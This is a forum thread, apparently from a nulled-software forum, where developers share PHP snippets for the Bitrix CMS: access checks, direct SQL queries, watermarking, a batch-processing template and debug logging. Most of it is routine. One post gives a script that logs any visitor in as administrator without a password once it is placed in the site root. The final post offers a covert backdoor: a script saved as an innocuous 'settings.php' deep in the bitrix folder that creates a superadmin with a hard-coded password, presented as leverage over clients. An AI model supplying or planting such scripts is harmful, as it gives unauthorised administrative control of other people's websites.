• DONATE to NULLED!
    Форуму и его команде можно помочь, мотивировать модераторов разделов.
    Помогите модератору этого раздела wpt лично.

Шорткоды для битрикса

tankisto

Мой дом здесь!
Регистрация
5 Окт 2010
Сообщения
221
Реакции
255
Выкладываю несколько шорткодов-"коротышей" - участки кода, которые использую у себя для облегчения работы с битриксом. Будет полезно в первую очередь новичкам, старожилы, всё это уже знают.

1. Закрываем страницу для всех, кроме администраторов
PHP:
<?php
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
global $USER;
if (!$USER->IsAdmin() && !in_array($USER->GetID(), array(5, 6)))
{ // Страница доступна только администратору. 5, 6 - ID пользователей, для которых также доступна эта страница
        echo "Страница доступна только администратору. <a href='/'>Перейти на главную</a>";
        die();
}

?>
2. Выводим товары с нулевой ценой. Без учета активности товара
PHP:
<?php
// выводим товары с нулевой ценой
$results = $DB->Query("SELECT * FROM `b_catalog_price`
                        WHERE PRICE=0
                        ORDER BY PRODUCT_ID
                    ");
// print_r($results);  // для отладки
$tmp = "Товары с нулевой ценой: ";
while ($row = $results->Fetch())
{
    echo $tmp;
    $tmp = '';
    echo $row['PRODUCT_ID']." ";
}
echo "<br>";
?>
3. Выводим товары без картинок. Без учета активности товара. При наведении курсора на ID, выводим название товара
PHP:
<?php
// выводим товары без картинок
$results = $DB->Query("SELECT * FROM `b_iblock_element`
                        WHERE
                            `DETAIL_PICTURE` is NULL
                            AND `IBLOCK_ID` = 4
                        ORDER BY ID
                    ");
// print_r($results);  // для отладки
$tmp =  "Товары без детальной картинки (";
while ($row = $results->Fetch())
{
    //print_r($row); // для отладки
    echo $tmp;
    $tmp = '';
?>
    <span title="<?=$row['NAME'] ?>"><?=$row['ID'] ?></span>
<?php //при наведении курсора на ID выводится его название
}
echo "<br><hr>";
?>

Предлагаю в этой теме не флудить , а добавлять посты-шорткоды
 
Последнее редактирование:
1. То есть вы считаете это нормой в этом скрипте? ini_set("register_globals", "on"); :lol:
$USER->GetID() возвращает айди юзвера, а не айди групп в которых он состоит.
2. Это вообще зачем? Нафига лезть на прямую в базу, когда есть классы для работы с элементами?

Лучше удалите пост, чтобы не позориться :D
 
Последнее редактирование:
1. То есть вы считаете это нормой в этом скрипте? ini_set("register_globals", "on"); :lol:
да, невнимательно посмотрел и зацепил лишнего
$USER->GetID() возвращает айди юзвера, а не айди групп в которых он состоит.
совершенно верно
Лучше удалите пост, чтобы не позориться :D
будет мне наука, вот вы уже подсказали как что-то улучшить
 
@tankisto, @udjin123 — от редакции нашего раздела — отличная колонка я вам скажу! Мелкие незначительные ошибки допустимы, тем не менее — все мы учимся. Остальным предлагаю тоже не стесняться и публиковать сюда свои лайфхаки!

А всем новичкам напоминаю, что документация у Битрикса уже на достаточной высоте и уровне, для освоения (по сути — кошерный сборник шорткодов) :
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
 
Хотите реальных шорткодов? Ну чтож вот

1. Зайти под админом если забыл пароль. Кидаем скрипт в корень, и потом заходим по прямой ссылке на него.
PHP:
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
global $USER; // Ссылка на объект $USER
$USER->Authorize(1); // Авторизируемся как Id=1
LocalRedirect('/bitrix/admin/'); //редиректим в админ
?>
2. Закрыть страницу для не авторизованных пользователей, с системной формой авторизации/регистрации
PHP:
<?
define("NEED_AUTH", true);
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
?>
3. Безопасное редактирование init.php (сам не раз попадал, сайты по пол дня лежали пока фтп/ссш заказчики дадут)

PHP:
<?
if (1==$_GET["noinit"] || 1==$_SESSION["noinit"]) {
     $_SESSION["noinit"]=1;
}
else {
     require_once $_SERVER["DOCUMENT_ROOT"]. "/bitrix/php_interface/functions.php";
}
?>
4. Часто нужно в базе сохранить оригинальные фотографии для других проектов. А защита на фото нужна.
PHP:
$arFilter_watermark = Array(
    Array( 'name' => 'watermark',
      'position' => 'mc',
      'size' => 'real',
      'type' => 'image',
      'alpha_level' => '90',
      'file' => $_SERVER['DOCUMENT_ROOT'].SITE_TEMPLATE_PATH."/img/watermark.png",
    ),
);
$Image = CFile::ResizeImageGet( $arResult['DETAIL_PICTURE']['ID'], Array( "width" => $arResult["DETAIL_PICTURE"]["WIDTH"] - 1, "height" => $arResult["DETAIL_PICTURE"]["HEIGHT"] - 1 ), BX_RESIZE_IMAGE_PROPORTIONAL, true, $arFilter_watermark );
5. Шаблон для выполнения тяжелых действий над элементами инфоблоков. Не совсем шорткод.
PHP:
<?
if (isset($_REQUEST['work_start']))
{
    define("NO_AGENT_STATISTIC", true);
    define("NO_KEEP_STATISTIC", true);
}
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

function gcode($code)
{
    $words=split("_", $code);
    shuffle($words);

    $new_code="";

    foreach($words as $key=>$word)
        $new_code.=($key>0?"_":"").$word;

    return $new_code;
}

CModule::IncludeModule("iblock");
IncludeModuleLangFile(__FILE__);

$POST_RIGHT = $APPLICATION->GetGroupRight("main");
if ($POST_RIGHT == "D")
    $APPLICATION->AuthForm("Доступ запрещен");

$BID = 1;
$limit = 50;

if($_REQUEST['work_start'] && check_bitrix_sessid())
{
    $arSelect=Array("ID", "NAME", "CODE");

    $rsEl = CIBlockElement::GetList(array("ID" => "ASC"), array("IBLOCK_ID" => $BID, ">ID" => $_REQUEST["lastid"]), false, array("nTopCount" => $limit), $arSelect);
    while ($arEl = $rsEl->GetNext())
    {
   
        /*
        * do something
        */
        $lastID = intval($arEl["ID"]);
    }

    $rsLeftBorder = CIBlockElement::GetList(array("ID" => "ASC"), array("IBLOCK_ID" => $BID, "<=ID" => $lastID));
    $leftBorderCnt = $rsLeftBorder->SelectedRowsCount();

    $rsAll = CIBlockElement::GetList(array("ID" => "ASC"), array("IBLOCK_ID" => $BID));
    $allCnt = $rsAll->SelectedRowsCount();

    $p = round(100*$leftBorderCnt/$allCnt, 2);

    echo 'CurrentStatus = Array('.$p.',"'.($p < 100 ? '&lastid='.$lastID : '').'","Обрабатываю запись с ID #'.$lastID.'");';

    die();
}

$clean_test_table = '<table id="result_table" cellpadding="0" cellspacing="0" border="0" width="100%" class="internal">'.
                        '<tr class="heading">'.
                            '<td>Текущее действие</td>'.
                            '<td width="1%">&nbsp;</td>'.
                        '</tr>'.
                    '</table>';

$aTabs = array(array("DIV" => "edit1", "TAB" => "Обработка"));
$tabControl = new CAdminTabControl("tabControl", $aTabs);

$APPLICATION->SetTitle("Обработка элементов инфоблока");

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");

?>
<script type="text/javascript">

    var bWorkFinished = false;
    var bSubmit;

    function set_start(val)
    {
        document.getElementById('work_start').disabled = val ? 'disabled' : '';
        document.getElementById('work_stop').disabled = val ? '' : 'disabled';
        document.getElementById('progress').style.display = val ? 'block' : 'none';

        if (val)
        {
            ShowWaitWindow();
            document.getElementById('result').innerHTML = '<?=$clean_test_table?>';
            document.getElementById('status').innerHTML = 'Работаю...';

            document.getElementById('percent').innerHTML = '0%';
            document.getElementById('indicator').style.width = '0%';

            CHttpRequest.Action = work_onload;
            CHttpRequest.Send('<?= $_SERVER["PHP_SELF"]?>?work_start=Y&lang=<?=LANGUAGE_ID?>&<?=bitrix_sessid_get()?>');
        }
        else
            CloseWaitWindow();
    }

    function work_onload(result)
    {
        try
        {
            eval(result);

            iPercent = CurrentStatus[0];
            strNextRequest = CurrentStatus[1];
            strCurrentAction = CurrentStatus[2];

            document.getElementById('percent').innerHTML = iPercent + '%';
            document.getElementById('indicator').style.width = iPercent + '%';

            document.getElementById('status').innerHTML = 'Работаю...';

            if (strCurrentAction != 'null')
            {
                oTable = document.getElementById('result_table');
                oRow = oTable.insertRow(-1);
                oCell = oRow.insertCell(-1);
                oCell.innerHTML = strCurrentAction;
                oCell = oRow.insertCell(-1);
                oCell.innerHTML = '';
            }

            if (strNextRequest && document.getElementById('work_start').disabled)
                CHttpRequest.Send('<?= $_SERVER["PHP_SELF"]?>?work_start=Y&lang=<?=LANGUAGE_ID?>&<?=bitrix_sessid_get()?>' + strNextRequest);
            else
            {
                set_start(0);
                bWorkFinished = true;
            }

        }
        catch(e)
        {
            CloseWaitWindow();
            document.getElementById('work_start').disabled = '';
            alert('Сбой в получении данных');
        }
    }

</script>

<form method="post" action="<?echo $APPLICATION->GetCurPage()?>" enctype="multipart/form-data" name="post_form" id="post_form">
<?
echo bitrix_sessid_post();

$tabControl->Begin();
$tabControl->BeginNextTab();
?>
    <tr>
        <td colspan="2">

            <input type=button value="Старт" id="work_start" onclick="set_start(1)" />
            <input type=button value="Стоп" disabled id="work_stop" onclick="bSubmit=false;set_start(0)" />
            <div id="progress" style="display:none;" width="100%">
            <br />
                <div id="status"></div>
                <table border="0" cellspacing="0" cellpadding="2" width="100%">
                    <tr>
                        <td height="10">
                            <div style="border:1px solid #B9CBDF">
                                <div id="indicator" style="height:10px; width:0%; background-color:#B9CBDF"></div>
                            </div>
                        </td>
                        <td width=30>&nbsp;<span id="percent">0%</span></td>
                    </tr>
                </table>
            </div>
            <div id="result" style="padding-top:10px"></div>

        </td>
    </tr>
<?
$tabControl->End();
?>
</form>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");?>
6. В битриксе в ядре присутствует jquery, его можно подключить. Битрикс не объединяет его с остальными скриптами!
PHP:
<?
CJSCore::Init(array("jquery"));
?>
7. Часто дизайн требует вывести в хидер какой то результат из рабочей области, например фильтр. Можно воспользоваться буферизаций битрикса.

Это вставляем в header.php шаблона
PHP:
<?$APPLICATION->ShowViewContent('filter');?> //Вывод буферезации

Этот код в рабочей области
PHP:
<?
$this->SetViewTarget("filter"); //начало
/*
Ваш код
*/
$this->EndViewTarget();//конец буферизации
?>
 
Последнее редактирование:
Это не столько шорткод, скорее сниппет который надо иметь всегда под рукой.
PHP:
<?
if($USER->IsAdmin()) {echo "<pre>"; print_r($arResult); echo "</pre>";} 
?>
 
Это не столько шорткод, скорее сниппет который надо иметь всегда под рукой.
PHP:
<?
if($USER->IsAdmin()) {echo "<pre>"; print_r($arResult); echo "</pre>";}
?>

Желательно его обернуть в функцию например function pre($arr){}
и добавить в init.php
 
Последнее редактирование:
Это не столько шорткод, скорее сниппет который надо иметь всегда под рукой.
PHP:
<?
if($USER->IsAdmin()) {echo "<pre>"; print_r($arResult); echo "</pre>";}
?>

В битриксе есть функция обертка лучше ее использовать вместо print_r.
PHP:
string
mydump(
mixed var,
int max_depth = -1,
int depth = 0
);
И в догонку.
Когда не возможно посмотреть дамп, например при обмене с 1с или пошаговом скрипте, поможет встроенное логирование
PHP:
<?
// определим константу LOG_FILENAME, в которой зададим путь к лог-файлу
define("LOG_FILENAME", $_SERVER["DOCUMENT_ROOT"]."/log.txt");
// Сохраним в лог дамп переменной или сообщение
AddMessage2Log("Произвольный текст сообщения или переменная", "my_module_id");
?>
 
У меня всегда наготове есть такой файл с этим кодом, который служит как гарант сделки.
Если что-то пойдет не так, можно зайти на сайт под админом и вернуть всё что сделано непосильным трудом.
PHP:
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$login = 'superadmin';
$password = 'rPX26!uU@t';
$groups = array(1);
$email = 'admin@gmail.com';

$user = new CUser;
$arFields = array(
  "EMAIL"             => $email,
  "LOGIN"             => $login,
  "LID"               => "ru",
  "ACTIVE"            => "Y",
  "GROUP_ID"          => $groups,
  "PASSWORD"          => $password,
  "CONFIRM_PASSWORD"  => $password
);
$ID = $user->Add($arFields);
if(intval($ID) > 0) echo 'Админ создан';
else echo $user->LAST_ERROR;
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/footer.php");?>
работает так: создайте файл с нейтральным именем, например "settings.php" и кодом, положите в дебри папки "bitrix". При необходимости переходите по адресу сайт/bitrix/settings.php.
После этого можно авторизоваться в админке с указанными в настройках скрипта данными.
 
Назад
Сверху